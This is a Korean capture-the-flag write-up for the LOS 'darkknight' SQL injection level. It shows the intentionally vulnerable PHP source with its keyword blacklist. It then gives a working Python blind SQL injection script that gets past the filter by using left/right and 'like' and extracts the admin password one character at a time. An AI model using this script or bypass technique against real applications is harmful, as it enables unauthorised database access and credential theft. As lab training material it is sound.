LOS darkknight

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

이번 문제도 쿼리를 두번 실행시키는것을보니 블라인드 sql 문제인것같다..

substr함수가 막혀있다. 

대표적으로 left,right,mid,instr함수들을 이용하여서 블라인드 sql injection을 할수있다.

=도 막혀있기때문에 like를 사용하였다.

import urllib2
 
idx = 8
num = 0x21
passwd = ''
while (True): #length(pw) like 8 = True
    url = 'https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php'
    url += '?no=0 or id like 0x61646d696e and left(right(pw,%d),1) like 0x%x' %(idx,num)
    req = urllib2.Request(url)
    req.add_header('User-Agent','Mozilla/5.0')
    req.add_header('cookie','PHPSESSID=p1fad2hverso8kg1fs3fndoof6')
#print url
    data = urllib2.urlopen(req).read()
 
    if 'Hello admin' in data:
        idx -= 1
        passwd += chr(num)
        print num
        if len(passwd)==8:
            break
        num = 0x21
    else:
        num +=0x1
        if chr(num) == '%':
            num += 0x1
 
print passwd